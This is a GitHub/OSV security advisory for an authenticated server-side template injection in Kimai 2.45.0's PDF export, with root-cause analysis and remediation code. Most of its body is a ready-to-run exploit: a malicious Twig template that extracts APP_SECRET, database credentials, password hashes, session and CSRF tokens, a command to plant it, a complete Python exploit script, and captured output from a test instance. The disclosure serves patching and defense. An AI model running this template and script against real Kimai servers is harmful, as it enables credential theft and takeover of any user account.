GHSA-jg2j-2w24-54cg

Suggest an improvement
Source
https://github.com/advisories/GHSA-jg2j-2w24-54cg
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-jg2j-2w24-54cg/GHSA-jg2j-2w24-54cg.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-jg2j-2w24-54cg
Aliases
Published
2026-01-20T17:07:13Z
Modified
2026-01-20T18:14:17.306196Z
Severity
  • 6.8 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
Summary
Kimai has an Authenticated Server-Side Template Injection (SSTI)
Details

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

| Field | Value | |-------|-------| | Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | High (Admin with export permissions and server access) | | User Interaction | None | | Impact | Confidentiality: HIGH (Credential/Secret Extraction) | | Affected Versions | Kimai 2.45.0 (likely earlier versions) | | Tested On | Docker: kimai/kimai2:apache-2.45.0 | | Discovery Date | 2026-01-05 |


Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.


Vulnerability Description

Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

  1. Environment Variables (APPSECRET, DATABASEURL)
  2. All User Password Hashes (bcrypt)
  3. Serialized Session Tokens
  4. CSRF Tokens

Prerequisites

  1. Authenticated Access: Valid account with export permissions (typically ROLEADMIN, ROLESUPERADMIN, or ROLETEAMLEAD)
  2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via:
    • Filesystem access (server admin)

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshot_users.png: <img width="1124" height="1119" alt="screenshot_users" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" />

| User | Role | Hash Extracted | |------|------|----------------| | admin | ROLESUPERADMIN | ✅ Yes | | lowpriv | ROLE_USER | ✅ Yes |


Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
  i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
    i:0;O:15:"App\Entity\User":5:{
      s:2:"id";i:1;
      s:8:"username";s:5:"admin";
      s:7:"enabled";b:1;
      s:5:"email";s:17:"admin@example.com";
      s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
    }
    i:1;b:1;i:2;N;i:3;a:0:{}
    i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
  }
}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

$this->policy->addPolicy(new DefaultPolicy());

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

final class DefaultPolicy implements SecurityPolicyInterface
{
    public function checkSecurity($tags, $filters, $functions): void
    {
        // EMPTY - No restrictions on Twig tags/filters/functions
    }

    public function checkMethodAllowed($obj, $method): void
    {
        // EMPTY - Allows ANY method call on ANY object
    }

    public function checkPropertyAllowed($obj, $property): void
    {
        // EMPTY - Allows ANY property access on ANY object
    }
}

This allows templates to call methods like: - app.request.server.get("APP_SECRET") - Environment variable access - app.session.get("_security_secured_area") - Session data access - entry.user.password - Password hash access


Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>SSTI Data Extraction</title>
    <style>
        body { font-family: monospace; font-size: 10px; }
        h1, h2 { color: #333; }
        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
    </style>
</head>
<body>

<h1>===SSTI_EXTRACTION_START===</h1>

<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>

<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>

<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>

<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>

<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>

<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>

<h1>===SSTI_EXTRACTION_END===</h1>

</body>
</html>
TEMPLATE'

Step 2: Run the Exploit

python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Step 3: Extract Text from PDF

pdftotext kimai_extracted_data.pdf -

Detailed Exploit Usage

Requirements

# Install Python dependencies
pip install requests

# Install PDF text extraction tool
sudo apt install poppler-utils

Command Syntax

python3 ssti_exploit.py <target_url> <username> <password> [template_name]

Arguments:
  target_url    - Kimai instance URL (e.g., http://localhost:8001)
  username      - Valid admin username with export permissions
  password      - User password
  template_name - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝

[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf

============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===

1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod

2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58

===SSTI_EXTRACTION_END===

============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found

[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf

Output Files

| File | Description | |------|-------------| | kimai_extracted_data.pdf | PDF containing all extracted sensitive data |

Manual PDF Text Extraction

# Extract text from PDF
pdftotext kimai_extracted_data.pdf -

# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt

# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"

Error Handling

| Error Message | Cause | Solution | |---------------|-------|----------| | Cannot connect to <url> | Target unreachable | Check URL and network | | Authentication failed | Wrong credentials | Verify username/password | | Template not found | Template not deployed | Deploy template first (Step 1) | | Access denied | Insufficient permissions | Use admin account with export perms | | pdftotext not installed | Missing tool | Run apt install poppler-utils |


Complete Exploit Script (ssti_exploit.py)

#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens

Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig

Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!

Author: Security Research
Date: 2026-01-05
"""

import requests
import re
import subprocess
import sys
import os

class KimaiSSTIExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip('/')
        self.session = requests.Session()
        self.username = username
        self.password = password

    def login(self):
        """Authenticate to Kimai"""
        print(f"[*] Connecting to {self.target}")

        try:
            login_page = self.session.get(f"{self.target}/en/login", timeout=10)
        except requests.exceptions.ConnectionError:
            raise Exception(f"Cannot connect to {self.target}")
        except requests.exceptions.Timeout:
            raise Exception(f"Connection timeout to {self.target}")

        if login_page.status_code != 200:
            raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")

        csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
        if not csrf_match:
            raise Exception("CSRF token not found on login page")

        csrf = csrf_match.group(1)
        print(f"[*] Authenticating as {self.username}")

        login_resp = self.session.post(
            f"{self.target}/en/login_check",
            data={
                "_username": self.username,
                "_password": self.password,
                "_csrf_token": csrf
            },
            allow_redirects=True,
            timeout=10
        )

        # Check for successful login
        if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
            if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
                raise Exception("Invalid username or password")
            raise Exception("Authentication failed - check credentials")

        print(f"[+] Successfully authenticated as {self.username}")
        return True

    def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
        """Trigger SSTI via export functionality"""
        print(f"[*] Triggering SSTI with template: {template_name}")

        try:
            export_resp = self.session.post(
                f"{self.target}/en/export/data",
                data={
                    "renderer": template_name,
                    "state": "3",       # All states
                    "billable": "0",    # All billable states
                    "exported": "5",    # All export states
                    "markAsExported": "0",
                },
                timeout=60
            )
        except requests.exceptions.Timeout:
            raise Exception("Export request timed out")

        if export_resp.status_code == 404:
            raise Exception(f"Template '{template_name}' not found - deploy template first")

        if export_resp.status_code == 403:
            raise Exception("Access denied - user lacks export permissions")

        if export_resp.status_code != 200:
            raise Exception(f"Export failed: HTTP {export_resp.status_code}")

        if b'%PDF' not in export_resp.content[:10]:
            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
                raise Exception("Template rendering error - check template syntax")
            raise Exception("Invalid response - expected PDF output")

        print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
        return export_resp.content

    def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
        """Extract text from PDF using pdftotext"""
        with open(output_path, "wb") as f:
            f.write(pdf_content)

        try:
            result = subprocess.run(
                ["pdftotext", output_path, "-"],
                capture_output=True,
                text=True,
                timeout=30
            )
            if result.returncode != 0:
                print(f"[-] pdftotext error: {result.stderr}")
                return None
            return result.stdout
        except FileNotFoundError:
            print("[-] pdftotext not installed")
            print("    Install with: apt install poppler-utils")
            return None
        except subprocess.TimeoutExpired:
            print("[-] pdftotext timed out")
            return None

    def parse_findings(self, text):
        """Parse and categorize extracted data"""
        findings = {
            "app_secret": None,
            "database_url": None,
            "password_hashes": [],
            "session_token": None,
            "csrf_tokens": []
        }

        lines = text.split('\n')
        for i, line in enumerate(lines):
            line = line.strip()

            if "APP_SECRET:" in line:
                findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()

            if "DATABASE_URL:" in line or "mysql://" in line:
                if "mysql://" in line:
                    findings["database_url"] = line.strip()
                elif i + 1 < len(lines):
                    findings["database_url"] = lines[i + 1].strip()

            if "$2y$" in line:
                findings["password_hashes"].append(line)

            if "UsernamePasswordToken" in line:
                findings["session_token"] = "Present (serialized PHP object)"

            if "_csrf" in line.lower() or len(line) == 43:
                if ":" in line:
                    findings["csrf_tokens"].append(line)

        return findings


def print_banner():
    print("""
╔═══════════════════════════════════════════════════════════════╗
║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║
║                                                               ║
║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║
╚═══════════════════════════════════════════════════════════════╝
""")


def main():
    print_banner()

    if len(sys.argv) < 4:
        print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
        print()
        print("Arguments:")
        print("  target_url    - Kimai instance URL (e.g., http://localhost:8001)")
        print("  username      - Valid admin username")
        print("  password      - User password")
        print("  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
        print()
        print("Example:")
        print("  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
        print()
        print("Prerequisites:")
        print("  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
        print("  2. User must have export permissions (ROLE_ADMIN or higher)")
        sys.exit(1)

    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"

    exploit = KimaiSSTIExploit(target, username, password)

    try:
        # Step 1: Authenticate
        exploit.login()

        # Step 2: Trigger SSTI
        pdf_content = exploit.trigger_ssti(template)

        # Step 3: Save PDF
        output_file = "kimai_extracted_data.pdf"
        with open(output_file, "wb") as f:
            f.write(pdf_content)
        print(f"[+] PDF saved to: {output_file}")

        # Step 4: Extract and display text
        text = exploit.extract_text(pdf_content)
        if text:
            print()
            print("="*60)
            print("RAW EXTRACTED DATA:")
            print("="*60)
            print(text[:2000])
            if len(text) > 2000:
                print(f"\n... [{len(text) - 2000} more characters]")

            # Parse findings
            findings = exploit.parse_findings(text)

            print()
            print("="*60)
            print("CRITICAL FINDINGS SUMMARY:")
            print("="*60)

            if findings["app_secret"]:
                print(f"[!] APP_SECRET: {findings['app_secret']}")

            if findings["database_url"]:
                print(f"[!] DATABASE_URL: {findings['database_url']}")

            if findings["password_hashes"]:
                unique_hashes = list(set(findings["password_hashes"]))
                print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
                for h in unique_hashes[:5]:
                    print(f"    {h[:80]}...")
                if len(unique_hashes) > 5:
                    print(f"    ... and {len(unique_hashes) - 5} more")

            if findings["session_token"]:
                print(f"[!] Session Token: {findings['session_token']}")

            if findings["csrf_tokens"]:
                print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")

        print()
        print("[+] Exploitation successful!")
        print(f"[+] Full output saved to: {output_file}")
        return 0

    except KeyboardInterrupt:
        print("\n[-] Interrupted by user")
        return 130
    except Exception as e:
        print(f"[-] Exploitation failed: {e}")
        return 1


if __name__ == "__main__":
    sys.exit(main())

Impact Analysis

| Extracted Data | Security Impact | |---------------|-----------------| | APP_SECRET | Can forge Symfony login links to access ANY user account | | DATABASE_URL | Direct database connection credentials exposed | | Password Hashes | Offline password cracking possible (bcrypt) | | Session Tokens | Session structure analysis, potential replay attacks | | CSRF Tokens | Bypass CSRF protection for subsequent attacks |

Attack Chain Example

  1. Exploit SSTI → Extract APP_SECRET
  2. Use APP_SECRET to forge login link for target user
  3. Access target user's account without knowing their password

Remediation

Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());

// To:
$this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

  1. Block environment access in templates:

    public function checkMethodAllowed($obj, $method): void
    {
        if ($obj instanceof Request && $method === 'getServer') {
            throw new SecurityError('Server access not allowed');
        }
    }
    
  2. Block session access in templates:

    if ($obj instanceof Session) {
        throw new SecurityError('Session access not allowed');
    }
    
  3. Restrict User object property access:

    if ($obj instanceof User && $method === 'getPassword') {
        throw new SecurityError('Password access not allowed');
    }
    

Reported by: Mahammad Huseynkhanli

Database specific
{
    "severity": "MODERATE",
    "github_reviewed_at": "2026-01-20T17:07:13Z",
    "github_reviewed": true,
    "nvd_published_at": "2026-01-18T23:15:48Z",
    "cwe_ids": [
        "CWE-1336"
    ]
}
References

Affected packages

Packagist / kimai/kimai

Package

Name
kimai/kimai
Purl
pkg:composer/kimai/kimai

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.46.0

Affected versions

0.*

0.1
0.2
0.3
0.4
0.5
0.6
0.6.1
0.7
0.8
0.8.1
0.9

1.*

1.0
1.0.1
1.1
1.2
1.3
1.4
1.4.1
1.4.2
1.5
1.6
1.6.1
1.6.2
1.7
1.8
1.9
1.10
1.10.1
1.10.2
1.11
1.11.1
1.12
1.13
1.14
1.14.1
1.14.2
1.14.3
1.15
1.15.1
1.15.2
1.15.3
1.15.4
1.15.5
1.15.6
1.16
1.16.1
1.16.2
1.16.3
1.16.4
1.16.5
1.16.6
1.16.7
1.16.8
1.16.9
1.16.10
1.17
1.17.1
1.18
1.18.1
1.18.2
1.19
1.19.1
1.19.2
1.19.3
1.19.4
1.19.5
1.19.6
1.19.7
1.20
1.20.1
1.20.2
1.20.3
1.20.4
1.21.0
1.22.0
1.22.1
1.23.0
1.23.1
1.24.0
1.25.0
1.26.0
1.27.0
1.28.0
1.28.1
1.29.0
1.29.1
1.30.0
1.30.1
1.30.2
1.30.3
1.30.4
1.30.5
1.30.6
1.30.7
1.30.8
1.30.9
1.30.10
1.30.11

2.*

2.0.0-alpha
2.0.0-beta
2.0.0-beta-2
2.0.0-beta-3
2.0.0-rc-1
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.0.6
2.0.7
2.0.8
2.0.9
2.0.10
2.0.11
2.0.12
2.0.13
2.0.14
2.0.15
2.0.16
2.0.17
2.0.18
2.0.19
2.0.20
2.0.21
2.0.22
2.0.23
2.0.24
2.0.25
2.0.26
2.0.27
2.0.28
2.0.29
2.0.30
2.0.31
2.0.32
2.0.33
2.0.34
2.0.35
2.1.0
2.2.0
2.2.1
2.3.0
2.4.0
2.4.1
2.5.0
2.6.0
2.7.0
2.8.0
2.9.0
2.10.0
2.11.0
2.12.0
2.13.0
2.14.0
2.15.0
2.16.0
2.16.1
2.17.0
2.18.0
2.19.0
2.19.1
2.20.0
2.20.1
2.21.0
2.22.0
2.23.0
2.24.0
2.25.0
2.26.0
2.27.0
2.28.0
2.29.0
2.30.0
2.31.0
2.32.0
2.33.0
2.34.0
2.35.0
2.35.1
2.36.0
2.36.1
2.37.0
2.38.0
2.39.0
2.40.0
2.41.0
2.42.0
2.43.0
2.44.0
2.45.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-jg2j-2w24-54cg/GHSA-jg2j-2w24-54cg.json"